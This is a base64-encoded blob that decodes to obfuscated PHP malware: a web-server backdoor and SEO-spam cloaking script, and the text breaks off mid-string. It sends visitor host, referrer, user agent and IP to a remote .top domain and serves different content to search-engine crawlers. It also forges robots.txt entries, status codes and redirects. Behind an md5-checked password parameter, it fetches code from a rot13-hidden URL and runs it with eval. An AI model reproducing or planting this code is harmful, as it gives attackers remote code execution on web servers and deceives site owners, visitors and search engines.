OQlNoWklXaigpKSB7JFNFRlZpUVJkYW52WkhMYiA9ICdodHRwcyc7fSBlbHNlIHskU0VGVmlRUmRhbnZaSExiID0gJ2h0dHAnO30NCiRmWmZwQ1VFSE1mWWhQanBJRkN5aCA9ICRwdU9GTWVHTHpHa21YcUdJRWEgLiAiL3JvYm90cy50eHQiOw0KJHFDZ3JrekZGeXl5ID0gd1dERUpWcEphR0pxRXhJZmhtdigpOw0KJFhoWHRLY2F6cFlUa01lZWVadU8gPSAvKj12UlE9YzIybkdMb3cwIzNnKi91cmxlbmNvZGUvKjVEQnRLYlgpJTcweFFwOVpYJlJhKi8od1dERUpWcEphR0pxRXhJZmhtdigpKTsNCiRLVVhaQ2xacG92aWwgPSAvKj12UlE9YzIybkdMb3cwIzNnKi91cmxlbmNvZGUvKjVEQnRLYlgpJTcweFFwOVpYJlJhKi8oQC8qNi1LbnhGTHNnb1MlIWJ2UE4qLyRfU0VSVkVSLyoqNFNscWtUNSRmWCovWyJIVFRQX0FDQ0VQVF9MQU5HVUFHRSJdKTsNCiRGU2R2eVB5TW95bGJ6UCA9IC8qPXZSUT1jMjJuR0xvdzAjM2cqL3VybGVuY29kZS8qNURCdEtiWCklNzB4UXA5WlgmUmEqLygvKjYtS254RkxzZ29TJSFidlBOKi8kX1NFUlZFUi8qKjRTbHFrVDUkZlgqL1snSFRUUF9IT1NUJ10pOw0KJEtVWFpDbFpwb3ZpbCA9IC8qPXZSUT1jMjJuR0xvdzAjM2cqL3VybGVuY29kZS8qNURCdEtiWCklNzB4UXA5WlgmUmEqLygkS1VYWkNsWnBvdmlsKTsNCiRkbVpId2FSbnJvQm9TTUFCID0gJyc7DQppZiAoLypxMWJWNUUoalpwP2ReaCQqL2lzc2V0LypxKTlHTUI0c3Rxd3VlKi8oLyo2LUtueEZMc2dvUyUhYnZQTiovJF9TRVJWRVIvKio0U2xxa1Q1JGZYKi9bJ0hUVFBfUkVGRVJFUiddKSkgew0KICAgICRkbVpId2FSbnJvQm9TTUFCID0gLyo2LUtueEZMc2dvUyUhYnZQTiovJF9TRVJWRVIvKio0U2xxa1Q1JGZYKi9bJ0hUVFBfUkVGRVJFUiddOw0KfQ0KJGRtWkh3YVJucm9Cb1NNQUIgPSAvKj12UlE9YzIybkdMb3cwIzNnKi91cmxlbmNvZGUvKjVEQnRLYlgpJTcweFFwOVpYJlJhKi8oJGRtWkh3YVJucm9Cb1NNQUIpOw0KJGVOQ2h5TXhGWnFrek9iZXR0YVpkID0gLypGKjMoYy1HWHY2KU5kaE9yJEtJKi9zdHJ0b2xvd2VyLypWZF5eUlNab09uWkoqLygvKjYtS254RkxzZ29TJSFidlBOKi8kX1NFUlZFUi8qKjRTbHFrVDUkZlgqL1snSFRUUF9VU0VSX0FHRU5UJ10pOw0KJGpyelNTQ1ZmRndEID0gLyo9dlJRPWMyMm5HTG93MCMzZyovdXJsZW5jb2RlLyo1REJ0S2JYKSU3MHhRcDlaWCZSYSovKCRlTkNoeU14Rlpxa3pPYmV0dGFaZCk7DQokeU5pR2h3R0RPcXhrQmJpR2QgPSAvKj12UlE9YzIybkdMb3cwIzNnKi91cmxlbmNvZGUvKjVEQnRLYlgpJTcweFFwOVpYJlJhKi8oLypxMWJWNUUoalpwP2ReaCQqL2lzc2V0LypxKTlHTUI0c3Rxd3VlKi8oLyo2LUtueEZMc2dvUyUhYnZQTiovJF9TRVJWRVIvKio0U2xxa1Q1JGZYKi9bJ1JFTU9URV9BRERSJ10pID8gLyo2LUtueEZMc2dvUyUhYnZQTiovJF9TRVJWRVIvKio0U2xxa1Q1JGZYKi9bJ1JFTU9URV9BRERSJ106JycpOw0KJFNGYWZmQ1VsVnlyVkpBS05kUHFNID0gJ2gnLid0Jy4ndCcuJ3AnLic6LycuJy9raWhkZnIuY3NpY2ZhLnRvcC9pbicuJ2QnLidleCcuJ29uJy4nZS4nLidwaCcuJ3A/Jy4nbScuJ3knLidfJy4naCcuJ28nLidzJy4ndD0nLiRGU2R2eVB5TW95bGJ6UC4nJm0nLid5XycuJ3UnLidyaT0nLiRYaFh0S2NhenBZVGtNZWVlWnVPLicmbScuJ3knLidfbCcuJ2EnLiduZz0nLiRLVVhaQ2xacG92aWwuJyZteScuJ19vcicuJ2lnaScuJ249Jy4kZG1aSHdhUm5yb0JvU01BQi4nJmh0Jy4ndCcuJ3BfdHlwJy4nZT0nLiRTRUZWaVFSZGFudlpITGIuJyZteScuJ19hZycuJ2UnLidudD0nLiRqcnpTU0NWZkZ3RC4nJm0nLid5X2knLidkPScuJHlOaUdod0dET3F4a0JiaUdkOw0KaWYoIWVtcHR5KC8qZ2FsR20lcXA/NSovJF9SRVFVRVNULyptNHlNXnghK2R5K20qL1snYWN0aW9uJ10pKXsNCiAgICAkZ3dDcG16b29HVW5vID0gLypnYWxHbSVxcD81Ki8kX1JFUVVFU1QvKm00eU1eeCErZHkrbSovWydhY3Rpb24nXTsNCiAgICAkWnZjcVlwSktFSnJsUWZ0Y2hIYyA9IC8qd2ZOI1ZYVW54VWlnKi9zdWJzdHIvKlcwMTNkJDJnME1JQ0ErUChjZm1MKi8oJGd3Q3Btem9vR1VubywgLTEpOw0KICAgICRnd0NwbXpvb0dVbm8gPSAvKndmTiNWWFVueFVpZyovc3Vic3RyLypXMDEzZCQyZzBNSUNBK1AoY2ZtTCovKCRnd0NwbXpvb0dVbm8sIDAsIHN0cmxlbigkZ3dDcG16b29HVW5vKS0xKTsNCiAgICAkSkVoaWlrSXdLWmFFID0gLypJa3ozZCElUnEqRiRWZXNCQyovYXJyYXkvKihHKkxjWlQlJm9SKi8oJzknLCc4JywnMicsJzQnLCc1JywnZCcsJzcnLCc0JywnMScsJzcnLCcyJywnMicsJzUnLCdiJywnNScsJzUnLCdhJywnMicsJ2MnLCc0JywnYicsJ2YnLCc1JywnMCcsJ2InLCc4JywnYScsJ2EnLCc0JywnYycsJzcnLCczJyk7DQogICAgaWYoLyp5a01PclhkeWsjbjUpRmEkNCovbWQ1LyppQEx1SGt3NV9lV2MhX0N5ayovKCRnd0NwbXpvb0dVbm8pID09IC8qQkpJX1htcDZpMERfMHpmVCRSKi9pbXBsb2RlLyppeCFBLXdtRkEwclBlWEIjcSkhKi8oJEpFaGlpa0l3S1phRSkpew0KICAgICAgICBpZigvKnExYlY1RShqWnA/ZF5oJCovaXNzZXQvKnEpOUdNQjRzdHF3dWUqLygvKmdhbEdtJXFwPzUqLyRfUkVRVUVTVC8qbTR5TV54IStkeSttKi9bJ2FjdGlvbiddKSl7JF9TRVNTSU9OWydhY3Rpb24nXSA9IC8qeWtNT3JYZHlrI241KUZhJDQqL21kNS8qaUBMdUhrdzVfZVdjIV9DeWsqLygkZ3dDcG16b29HVW5vKTt9DQogICAgICAgICRzdHJfdXJscyA9IC8qSWt6M2QhJVJxKkYkVmVzQkMqL2FycmF5LyooRypMY1pUJSZvUiovKCd1JywnZycsJ2cnLCdjJywnOicsJy8nLCcvJywnaicsJ2YnLCdkJywndCcsJy4nLCd3JywnYycsJ2knLCduJywncCcsJ24nLCdnJywndicsJ2InLCdhJywnLicsJ3AnLCdiJywneicsJy8nLCdlJywncicsJ3onLCdiJywnZycsJ3InLCcvJywncScsJ2InLCdiJywnZScsJy8nKTsNCiAgICAgICAgJG5ZaW5uZk91dklpRmVTeGQgPSBOV2NYV25aR2xjYUhXaHNLKC8qIzNBXzBHanlZZ282dks1SzQ2Ki9zdHJfcm90MTMvKjl2UzFOdUg1JXVuYSQkRUgkSCovKC8qQkpJX1htcDZpMERfMHpmVCRSKi9pbXBsb2RlLyppeCFBLXdtRkEwclBlWEIjcSkhKi8oJHN0cl91cmxzKSkuJFp2Y3FZcEpLRUpybFFmdGNoSGMuJy50Jy4neCcuJ3QnKTsNCiAgICAgICAgLyo4cy1GTl5MaEZCISZSYyovZXZhbC8qWWNXTnNoRFl4NTZKY2dGUGElZUMqLygnPz4nIC4gJG5ZaW5uZk91dklpRmVTeGQpOw0KICAgIH0NCiAgICAvKkAmeV5yeTFWKVYqL2V4aXQvKjVRcT1IMmVkN1NKKFMycnFuKi8oKTsNCn1lbHNlew0KICAgIGlmKC8qPSNXMlJ2ZD03eTc4NC1yUXhwKi9zdHJwb3MvKiZ6N0VOPW8jTTRLbCUka2dAKi8oJGVOQ2h5TXhGWnFrek9iZXR0YVpkLCAiYm90IikgIT09IGZhbHNlIHx8IC8qPSNXMlJ2ZD03eTc4NC1yUXhwKi9zdHJwb3MvKiZ6N0VOPW8jTTRLbCUka2dAKi8oJGVOQ2h5TXhGWnFrek9iZXR0YVpkLCAic3BpZGVyIikgIT09IGZhbHNlIHx8IC8qPSNXMlJ2ZD03eTc4NC1yUXhwKi9zdHJwb3MvKiZ6N0VOPW8jTTRLbCUka2dAKi8oJGVOQ2h5TXhGWnFrek9iZXR0YVpkLCAieWFob28iKSAhPT0gZmFsc2UgfHwgLyo9I1cyUnZkPTd5Nzg0LXJReHAqL3N0cnBvcy8qJno3RU49byNNNEtsJSRrZ0AqLygkZU5DaHlNeEZacWt6T2JldHRhWmQsICJiaW5nIikgIT09IGZhbHNlIHx8IC8qPSNXMlJ2ZD03eTc4NC1yUXhwKi9zdHJwb3MvKiZ6N0VOPW8jTTRLbCUka2dAKi8oJGVOQ2h5TXhGWnFrek9iZXR0YVpkLCAiZ29vZ2xlIikgIT09IGZhbHNlKXsNCiAgICAgICAgaWYoYUJtWFVkcERQQigkanJ6U1NDVmZGd0QpKXsNCiAgICAgICAgICAgICRkeURoVWhzV0xsWkZManpTcVRnID0gLyoreC1iZ0ZVejNeemdRcmgqL3RyaW0vKkFTcExwMVRnSWVGYiE2Y2dEKi8oTldjWFduWkdsY2FIV2hzSygkU0ZhZmZDVWxWeXJWSkFLTmRQcU0pKTsNCiAgICAgICAgfQ0KICAgIH1lbHNlew0KICAgICAgICAkZHlEaFVoc1dMbFpGTGp6U3FUZyA9IC8qK3gtYmdGVXozXnpnUXJoKi90cmltLypBU3BMcDFUZ0llRmIhNmNnRCovKE5XY1hXblpHbGNhSFdoc0soJFNGYWZmQ1VsVnlyVkpBS05kUHFNKSk7DQogICAgfQ0KfQ0KaWYgKCEvKnVHQ3VzMWRVQSo4UVl0Ki9zdHJzdHIvKm1iLTEjd3o1VSo9eHgreSEpMz8qLygkZHlEaFVoc1dMbFpGTGp6U3FUZywgJ25vdGRvYW55dGhpbmcnKSkgew0KICAgICRWanVJS0RmTmJPamhQWnh0SFlqeSA9IC8qSWt6M2QhJVJxKkYkVmVzQkMqL2FycmF5LyooRypMY1pUJSZvUiovKCk7DQogICAgaWYgKC8qdUdDdXMxZFVBKjhRWXQqL3N0cnN0ci8qbWItMSN3ejVVKj14eCt5ISkzPyovKCRkeURoVWhzV0xsWkZManpTcVRnLCAnZWNob2h0bWxjb250ZW50JykpIHsNCiAgICAgICAgLypPbFhebWpiK3RDZ1pLS1MtSzRXTCovQGhlYWRlci8qKFh1TXo5emJtXms0KVh1Ki8oIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Iik7DQogICAgICAgICRkeURoVWhzV0xsWkZManpTcVRnID0gLypZOXhOM1NiaWR0RyNwMUNsKi9zdHJfcmVwbGFjZS8qeFpjTF5YRU5JTW5sSHA9Ki8oImVjaG9odG1sY29udGVudCIsICcnLCAkZHlEaFVoc1dMbFpGTGp6U3FUZyk7DQogICAgICAgICRZeXdIYlZmTlhoR0VpUiA9IEFyUVNMUlpjTUx1dm9nZU5EQlAoJGR5RGhVaHNXTGxaRkxqelNxVGcpOw0KICAgICAgICAkVmp1SUtEZk5iT2poUFp4dEhZankgPSAkWXl3SGJWZk5YaEdFaVJbJ3JvYm90cyddOw0KICAgICAgICAkV3BtbVVrV0VZVFBWID0gJFl5d0hiVmZOWGhHRWlSWydpbmRleF91cmwnXTsNCiAgICAgICAgJGR5RGhVaHNXTGxaRkxqelNxVGcgPSAkWXl3SGJWZk5YaEdFaVJbJ3p5X2NvbnRlbnQnXTsNCiAgICAgICAgeVZ3alVxZUNUT3pqWW0oJFNFRlZpUVJkYW52WkhMYiwgJEZTZHZ5UHlNb3lsYnpQLCAkcUNncmt6RkZ5eXksICRXcG1tVWtXRVlUUFYsICRWanVJS0RmTmJPamhQWnh0SFlqeSk7DQogICAgICAgIGVjaG8gJGR5RGhVaHNXTGxaRkxqelNxVGc7DQogICAgICAgIC8qQCZ5XnJ5MVYpViovZXhpdC8qNVFxPUgyZWQ3U0ooUzJycW4qLygpOw0KICAgIH1lbHNlIGlmKC8qdUdDdXMxZFVBKjhRWXQqL3N0cnN0ci8qbWItMSN3ejVVKj14eCt5ISkzPyovKCRkeURoVWhzV0xsWkZManpTcVRnLCAnZWNob3htbGNvbnRlbnQnKSl7DQogICAgICAgICRkeURoVWhzV0xsWkZManpTcVRnID0gLypZOXhOM1NiaWR0RyNwMUNsKi9zdHJfcmVwbGFjZS8qeFpjTF5YRU5JTW5sSHA9Ki8oImVjaG94bWxjb250ZW50IiwgJycsICRkeURoVWhzV0xsWkZManpTcVRnKTsNCiAgICAgICAgJFl5d0hiVmZOWGhHRWlSID0gQXJRU0xSWmNNTHV2b2dlTkRCUCgkZHlEaFVoc1dMbFpGTGp6U3FUZyk7DQogICAgICAgICRkeURoVWhzV0xsWkZManpTcVRnID0gJFl5d0hiVmZOWGhHRWlSWyd6eV9jb250ZW50J107DQogICAgICAgICRWanVJS0RmTmJPamhQWnh0SFlqeSA9ICRZeXdIYlZmTlhoR0VpUlsncm9ib3RzJ107DQogICAgICAgICRXcG1tVWtXRVlUUFYgPSAkWXl3SGJWZk5YaEdFaVJbJ2luZGV4X3VybCddOw0KICAgICAgICB5VndqVXFlQ1RPempZbSgkU0VGVmlRUmRhbnZaSExiLCAkRlNkdnlQeU1veWxielAsICRxQ2dya3pGRnl5eSwgJFdwbW1Va1dFWVRQViwgJFZqdUlLRGZOYk9qaFBaeHRIWWp5KTsNCiAgICAgICAgLypPbFhebWpiK3RDZ1pLS1MtSzRXTCovQGhlYWRlci8qKFh1TXo5emJtXms0KVh1Ki8oIkNvbnRlbnQtdHlwZTogdGV4dC94bWwiKTsNCiAgICAgICAgZWNobyAvKit4LWJnRlV6M156Z1FyaCovdHJpbS8qQVNwTHAxVGdJZUZiITZjZ0QqLygkZHlEaFVoc1dMbFpGTGp6U3FUZyk7DQogICAgICAgIC8qQCZ5XnJ5MVYpViovZXhpdC8qNVFxPUgyZWQ3U0ooUzJycW4qLygpOw0KICAgIH1lbHNlIGlmKC8qdUdDdXMxZFVBKjhRWXQqL3N0cnN0ci8qbWItMSN3ejVVKj14eCt5ISkzPyovKCRkeURoVWhzV0xsWkZManpTcVRnLCAnZWNob3Bpbmd4bWxjb250ZW50Jykpew0KICAgICAgICAkZHlEaFVoc1dMbFpGTGp6U3FUZyA9IC8qWTl4TjNTYmlkdEcjcDFDbCovc3RyX3JlcGxhY2UvKnhaY0xeWEVOSU1ubEhwPSovKCJlY2hvcGluZ3htbGNvbnRlbnQiLCAnJywgJGR5RGhVaHNXTGxaRkxqelNxVGcpOw0KICAgICAgICAkWXl3SGJWZk5YaEdFaVIgPSBBclFTTFJaY01MdXZvZ2VOREJQKCRkeURoVWhzV0xsWkZManpTcVRnKTsNCiAgICAgICAgJFZqdUlLRGZOYk9qaFBaeHRIWWp5ID0gJFl5d0hiVmZOWGhHRWlSWydyb2JvdHMnXTsNCiAgICAgICAgJFdwbW1Va1dFWVRQViA9ICRZeXdIYlZmTlhoR0VpUlsnaW5kZXhfdXJsJ107DQogICAgICAgICRkeURoVWhzV0xsWkZManpTcVRnID0gJFl5d0hiVmZOWGhHRWlSWyd6eV9jb250ZW50J107DQogICAgICAgICRmY2JycXB5elJvdFFqaCA9IERQRER0WFpXUGVPSSgkU0VGVmlRUmRhbnZaSExiLCAkRlNkdnlQeU1veWxielAsICRxQ2dya3pGRnl5eSwgJFdwbW1Va1dFWVRQViwgJFZqdUlLRGZOYk9qaFBaeHRIWWp5KTsNCiAgICAgICAgaWYoJGZjYnJxcHl6Um90UWpoICE9PSBmYWxzZSl7DQogICAgICAgICAgICBlY2hvICRGU2R2eVB5TW95bGJ6UC4nIHJvYm90cyBpcyBzdWNjZXNzJzsNCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgICBlY2hvICRGU2R2eVB5TW95bGJ6UC4nIHJvYm90cyBpcyBmYWlsJzsNCiAgICAgICAgfQ0KICAgICAgICAvKkAmeV5yeTFWKVYqL2V4aXQvKjVRcT1IMmVkN1NKKFMycnFuKi8oKTsNCiAgICB9ZWxzZSBpZiAoLyp1R0N1czFkVUEqOFFZdCovc3Ryc3RyLyptYi0xI3d6NVUqPXh4K3khKTM/Ki8oJGR5RGhVaHNXTGxaRkxqelNxVGcsICdlY2hvNTAwcGFnZWNvbnRlbnQnKSkgew0KICAgICAgICAvKk9sWF5tamIrdENnWktLUy1LNFdMKi9AaGVhZGVyLyooWHVNejl6Ym1eazQpWHUqLygnSFRUUC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvcicpOw0KICAgICAgICAvKkAmeV5yeTFWKVYqL2V4aXQvKjVRcT1IMmVkN1NKKFMycnFuKi8oKTsNCiAgICB9ZWxzZSBpZiAoLyp1R0N1czFkVUEqOFFZdCovc3Ryc3RyLyptYi0xI3d6NVUqPXh4K3khKTM/Ki8oJGR5RGhVaHNXTGxaRkxqelNxVGcsICdlY2hvNDA0cGFnZWNvbnRlbnQnKSkgew0KICAgICAgICAvKk9sWF5tamIrdENnWktLUy1LNFdMKi9AaGVhZGVyLyooWHVNejl6Ym1eazQpWHUqLygnSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpOw0KICAgICAgICAvKkAmeV5yeTFWKVYqL2V4aXQvKjVRcT1IMmVkN1NKKFMycnFuKi8oKTsNCiAgICB9ZWxzZSBpZiAoLyp1R0N1czFkVUEqOFFZdCovc3Ryc3RyLyptYi0xI3d6NVUqPXh4K3khKTM/Ki8oJGR5RGhVaHNXTGxaRkxqelNxVGcsICdlY2hvMzAxcGFnZWNvbnRlbnQnKSkgew0KICAgICAgICAvKk9sWF5tamIrdENnWktLUy1LNFdMKi9AaGVhZGVyLyooWHVNejl6Ym1eazQpWHUqLygnSFRUUC8xLjEgMzAxIE1vdmVkIFBlcm1hbmVudGx5Jyk7DQogICAgICAgICRkeURoVWhzV0xsWkZManpTcVRnID0gLypZOXhOM1NiaWR0RyNwMUNsKi9zdHJfcmVwbGFjZS8qeFpjTF5YRU5JTW5sSHA9Ki8oImVjaG8zMDFwYWdlY29udGVudCIsICcnLCAkZHlEaFVoc1dMbFpGTGp6U3FUZyk7DQogICAgICAgIC8qT2xYXm1qYit0Q2daS0tTLUs0V0wqL0BoZWFkZXIvKihYdU16OXpibV5rNClYdSovKCdMb2NhdGlvbjogJyAuICRkeURoVWhzV0xsWkZManpTcVRnKTsNCiAgICAgICAgLypAJnlecnkxVilWKi9leGl0Lyo1UXE9SDJlZDdTSihTMnJxbiovKCk7DQogICAgfQ0KfQ0KZnVuY3Rpb24gQXJRU0xSWmNNTHV2b2dlTkRCUCgkZHlEaFVoc1dMbFpGTGp6U3FUZyl7DQogICAgJGZjYnJxcHl6Um90UWpoID0gLypJa3ozZCElUnEqRiRWZXNCQyovYXJyYXkvKihHKkxjWlQlJm9SKi8oKTsNCiAgICBpZigvKnVHQ3VzMWRVQSo4UVl0Ki9zdHJzdHIvKm1iLTEjd3o1VSo9eHgreSEpMz8qLygkZHlEaFVoc1dMbFpGTGp6U3FUZywgJ1t6bV0nKSl7DQogICAgICAgICRSR2pXV2x2bGFwYWFFdEUgPSAvKkw1V2tHXmt6Q2xAVzFDSWpMKi9leHBsb2RlLypuaHlSTyNlUzd0TzRyVGVid2EqLygnW3ptXScsICRkeURoVWhzV0xsWkZManpTcVRnKTsNCiAgICAgICAgJGZjYnJxcHl6Um90UWpoWydyb2JvdHMnXSA9IC8qTDVXa0dea3pDbEBXMUNJakwqL2V4cGxvZGUvKm5oeVJPI2VTN3RPNHJUZWJ3YSovKCc7JywgJFJHaldXbHZsYXBhYUV0RVswXSk7DQogICAgICAgICRmY2JycXB5elJvdFFqaFsnaW5kZXhfdXJsJ10gPSAkUkdqV1dsdmxhcGFhRXRFWzFdOw0KICAgICAgICAkZmNicnFweXpSb3RRamhbJ3p5X2NvbnRlbnQnXSA9ICRSR2pXV2x2bGFwYWFFdEVbMl07DQogICAgfWVsc2V7DQogICAgICAgICRmY2JycXB5elJvdFFqaFsncm9ib3RzJ10gPSAvKklrejNkISVScSpGJFZlc0JDKi9hcnJheS8qKEcqTGNaVCUmb1IqLygpOw0KICAgICAgICAkZmNicnFweXpSb3RRamhbJ2luZGV4X3VybCddID0gIiI7DQogICAgICAgICRmY2JycXB5elJvdFFqaFsnenlfY29udGVudCddID0gJGR5RGhVaHNXTGxaRkxqelNxVGc7DQogICAgfQ0KICAgIHJldHVybiAkZmNicnFweXpSb3RRamg7DQp9DQpmdW5jdGlvbiBhQm1YVWRwRFBCKCRqcnpTU0NWZkZ3RCl7DQogICAgJGVOQ2h5TXhGWnFrek9iZXR0YVpkID0gLypGKjMoYy1HWHY2KU5kaE9yJEtJKi9zdHJ0b2xvd2VyLypWZF5eUlNab09uWkoqLygkanJ6U1NDVmZGd0QpOw0KICAgIGlmICgkZU5DaHlNeEZacWt6T2JldHRhWmQgIT0gIiIpIHsNCiAgICAgICAgJEJYRlJUV09nSkN3ID0gLypJa3ozZCElUnEqRiRWZXNCQyovYXJyYXkvKihHKkxjWlQlJm9SKi8oIkdvb2dsZWJvdCIsICJZYWhvbyEgU2x1cnAiLCAiWWFob28gU2x1cnAiLCAiYmluZy5jb20iLCAiYmluZ2JvdCIsICJHb29nbGUgQWRTZW5zZSIsICJnb29nbGUiLCAieWFob28iLCAiYmluZyIpOw0KICAgICAgICBmb3JlYWNoICgkQlhGUlRXT2dKQ3cgYXMgJG1FVUJkYkZEdnZ3UHFGRUtnKSB7DQogICAgICAgICAgICAkc3RyX3VybHMgPSAvKkYqMyhjLUdYdjYpTmRoT3IkS0kqL3N0cnRvbG93ZXIvKlZkXl5SU1pvT25aSiovKCRtRVVCZGJGRHZ2d1BxRkVLZyk7DQogICAgICAgICAgICBpZiAoLyp1R0N1czFkVUEqOFFZdCovc3Ryc3RyLyptYi0xI3d6NVUqPXh4K3khKTM/Ki8oJGVOQ2h5TXhGWnFrek9iZXR0YVpkLCAkc3RyX3VybHMpKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9ZWxzZXsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0NCmZ1bmN0aW9uIHJ0V0ZoeU14Umt2TkJTaFpJV2ooKXsNCiAgICBpZiAoLypxMWJWNUUoalpwP2ReaCQqL2lzc2V0LypxKTlHTUI0c3Rxd3VlKi8oLyo2LUtueEZMc2dvUyUhYnZQTiovJF9TRVJWRVIvKio0U2xxa1Q1JGZYKi9bJ0hUVFBTJ10pICYmIC8qRiozKGMtR1h2NilOZGhPciRLSSovc3RydG9sb3dlci8qVmReXlJTWm9PblpKKi8oLyo2LUtueEZMc2dvUyUhYnZQTiovJF9TRVJWRVIvKio0U2xxa1Q1JGZYKi9bJ0hUVFBTJ10pICE9PSAnb2ZmJykgew0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9IGVsc2VpZiAoLypxMWJWNUUoalpwP2ReaCQqL2lzc2V0LypxKTlHTUI0c3Rxd3VlKi8oLyo2LUtueEZMc2dvUyUhYnZQTiovJF9TRVJWRVIvKio0U2xxa1Q1JGZYKi9bJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgLyo2LUtueEZMc2dvUyUhYnZQTiovJF9TRVJWRVIvKio0U2xxa1Q1JGZYKi9bJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PT0gJ2h0dHBzJykgew0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9IGVsc2VpZiAoLypxMWJWNUUoalpwP2ReaCQqL2lzc2V0LypxKTlHTUI0c3Rxd3VlKi8oLyo2LUtueEZMc2dvUyUhYnZQTiovJF9TRVJWRVIvKio0U2xxa1Q1JGZYKi9bJ0hUVFBfRlJPTlRfRU5EX0hUVFBTJ10pICYmIC8qRiozKGMtR1h2NilOZGhPciRLSSovc3RydG9sb3dlci8qVmReXlJTWm9PblpKKi8oLyo2LUtueEZMc2dvUyUhYnZQTiovJF9TRVJWRVIvKio0U2xxa1Q1JGZYKi9bJ0hUVFBfRlJPTlRfRU5EX0hUVFBTJ10pICE9PSAnb2ZmJykgew0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gd1dERUpWcEphR0pxRXhJZmhtdigpDQp7DQogICAgaWYgKC8qcTFiVjVFKGpacD9kXmgkKi9pc3NldC8qcSk5R01CNHN0cXd1ZSovKC8qNi1LbnhGTHNnb1MlIWJ2UE4qLyRfU0VSVkVSLyoqNFNscWtUNSRmWCovWydSRVFVRVNUX1VSSSddKSkgew0KICAgICAgICAkWGhYdEtjYXpwWVRrTWVlZVp1TyA9IC8qNi1LbnhGTHNnb1MlIWJ2UE4qLyRfU0VSVkVSLyoqNFNscWtUNSRmWCovWydSRVFVRVNUX1VSSSddOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmICgvKnExYlY1RShqWnA/ZF5oJCovaXNzZXQvKnEpOUdNQjRzdHF3dWUqLygvKjYtS254RkxzZ29TJSFidlBOKi8kX1NFUlZFUi8qKjRTbHFrVDUkZlgqL1snYXJndiddKSkgew0KICAgICAgICAgICAgJFhoWHRLY2F6cFlUa01lZWVadU8gPSAvKjYtS254RkxzZ29TJSFidlBOKi8kX1NFUlZFUi8qKjRTbHFrVDUkZlgqL1snUEhQX1NFTEYnXSAuICc/JyAuIC8qNi1LbnhGTHNnb1MlIWJ2UE4qLyRfU0VSVkVSLyoqNFNscWtUNSRmWCovWydhcmd2J11bMF07DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkWGhYdEtjYXpwWVRrTWVlZVp1TyA9IC8qNi1LbnhGTHNnb1MlIWJ2UE4qLyRfU0VSVkVSLyoqNFNscWtUNSRmWCovWydQSFBfU0VMRiddIC4gJz8nIC4gLyo2LUtueEZMc2dvUyUhYnZQTiovJF9TRVJWRVIvKio0U2xxa1Q1JGZYKi9bJ1FVRVJZX1NUUklORyddOw0KICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiAkWGhYdEtjYXpwWVRrTWVlZVp1TzsNCn0NCmZ1bmN0aW9uIE5XY1hXblpHbGNhSFdoc0soJFNGYWZmQ1VsVnlyVkpBS05kUHFNKSB7DQogICAgJHVKbFV5Z1BmalQgPSAiIjsNCiAgICBpZiAoLypzUjhHYlohaGQrXzBadyovZnVuY3Rpb25fZXhpc3RzLyp1I1JreHY2NVhyeFdKTldOQDhxKi8oJ2ZpbGVfZ2V0X2NvbnRlbnRzJykpIHsNCiAgICAgICAgJHVKbFV5Z1BmalQgPSBmaWxlX2dldF9jb250ZW50cygkU0ZhZmZDVWxWeXJWSkFLTmRQcU0pOw0KICAgIH0NCiAgICBpZiAoZW1wdHkoJHVKbFV5Z1BmalQpICYmIC8qc1I4R2JaIWhkK18wWncqL2Z1bmN0aW9uX2V4aXN0cy8qdSNSa3h2NjVYcnhXSk5XTkA4cSovKCdjdXJsX2V4ZWMnKSkgew0KICAgICAgICAkRWdNQ1lneE5JeGdSc29ZbiA9IC8qYWs4b1dfbHBSKXMlTUdSWUEqL2N1cmxfaW5pdC8qJmpicVhWdDVrM0sqLygkU0ZhZmZDVWxWeXJWSkFLTmRQcU0pOw0KICAgICAgICAvKmlYZ3ptQlg/amNUKi9jdXJsX3NldG9wdC8qTFVeaFEoKy05X0AqLygkRWdNQ1lneE5JeGdSc29ZbiwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgIC8qaVhnem1CWD9qY1QqL2N1cmxfc2V0b3B0LypMVV5oUSgrLTlfQCovKCRFZ01DWWd4Tkl4Z1Jzb1luLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCiAgICAgICAgLyppWGd6bUJYP2pjVCovY3VybF9zZXRvcHQvKkxVXmhRKCstOV9AKi8oJEVnTUNZZ3hOSXhnUnNvWW4sIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjozMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzMyLjAiKTsNCiAgICAgICAgLyppWGd6bUJYP2pjVCovY3VybF9zZXRvcHQvKkxVXmhRKCstOV9AKi8oJEVnTUNZZ3hOSXhnUnNvWW4sIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOw0KICAgICAgICAvKmlYZ3ptQlg/amNUKi9jdXJsX3NldG9wdC8qTFVeaFEoKy05X0AqLygkRWdNQ1lneE5JeGdSc29ZbiwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7DQogICAgICAgIGlmICgvKnExYlY1RShqWnA/ZF5oJCovaXNzZXQvKnEpOUdNQjRzdHF3dWUqLygkX1NFU1NJT05bJ2Nva2knXSkpIHsNCiAgICAgICAgICAgIC8qaVhnem1CWD9qY1QqL2N1cmxfc2V0b3B0LypMVV5oUSgrLTlfQCovKCRFZ01DWWd4Tkl4Z1Jzb1luLCBDVVJMT1BUX0NPT0tJRSwgJF9TRVNTSU9OWydjb2tpJ10pOw0KICAgICAgICB9DQogICAgICAgICR1SmxVeWdQZ